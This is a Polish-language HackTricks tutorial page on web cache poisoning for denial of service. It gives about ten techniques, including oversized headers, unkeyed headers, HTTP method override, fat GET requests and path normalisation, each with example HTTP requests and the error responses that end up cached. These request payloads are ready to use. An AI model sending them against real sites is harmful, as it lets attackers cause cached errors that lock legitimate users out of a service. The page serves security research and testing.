6.6 KiB
Zatrucie pamięci podręcznej w celu DoS
Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do HackTricks i HackTricks Cloud na githubie.
{% hint style="danger" %} Na tej stronie znajdziesz różne warianty prób spowodowania, że serwer WWW odpowie błędami na żądania, które są ważne dla serwerów pamięci podręcznej {% endhint %}
- Zbyt duży nagłówek HTTP (HHO)
Wyślij żądanie z rozmiarem nagłówka większym niż obsługiwany przez serwer WWW, ale mniejszym niż obsługiwany przez serwer pamięci podręcznej. Serwer WWW odpowie błędem 400, który może zostać zapisany w pamięci podręcznej:
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
- Znaki meta znaczników HTTP (HMC) i Nieoczekiwane wartości
Wyślij nagłówek zawierający szkodliwe znaki meta takie jak \n
i \r
. Aby atak zadziałał, musisz najpierw ominąć pamięć podręczną.
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
Niepoprawnie skonfigurowany nagłówek mógłby być po prostu \:
jako nagłówek.
To również może działać, jeśli zostaną wysłane nieoczekiwane wartości, takie jak nieoczekiwany Content-Type:
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
- Nagłówek bez klucza
Niektóre strony internetowe zwrócą kod stanu błędu, jeśli zobaczą pewne konkretne nagłówki w żądaniu, na przykład z nagłówkiem X-Amz-Website-Location-Redirect: someThing.
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
- Atak podmiany metody HTTP (HMO)
Jeśli serwer obsługuje zmianę metody HTTP za pomocą nagłówków takich jak X-HTTP-Method-Override
, X-HTTP-Method
lub X-Method-Override
. Możliwe jest żądanie poprawnej strony zmieniając metodę, którą serwer nie obsługuje, co skutkuje zapisaniem złej odpowiedzi w pamięci podręcznej:
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
- Niezaszyfrowany port
Jeśli port w nagłówku Host jest odzwierciedlany w odpowiedzi i nie jest uwzględniony w kluczu pamięci podręcznej, można go przekierować na nieużywany port:
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
- Długa przekierowanie DoS
Tak jak w poniższym przykładzie, x nie jest buforowany, więc atakujący mógłby nadużyć zachowania odpowiedzi przekierowania, aby sprawić, że przekierowanie wyśle tak duży adres URL, że zwróci błąd. W rezultacie osoby próbujące uzyskać dostęp do adresu URL bez klucza x niebuforowanego otrzymają odpowiedź błędu:
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
- Normalizacja wielkości liter w nagłówku Host
Nagłówek hosta powinien być nieczuły na wielkość liter, ale niektóre strony internetowe oczekują, że będzie on pisany małymi literami, zwracając błąd, jeśli nie jest:
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
- Normalizacja ścieżki
Niektóre strony zwrócą kody błędów, wysyłając dane URLencode w ścieżce, jednak serwer pamięci podręcznej zdekoduje adres URL i przechowa odpowiedź dla zdekodowanej ścieżki:
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
- Fat Get
Niektóre serwery cache, takie jak Cloudflare, lub serwery internetowe, blokują żądania GET z ciałem, więc można to wykorzystać do zcache'owania nieprawidłowej odpowiedzi:
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
Odnośniki
- https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52
- https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------
Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.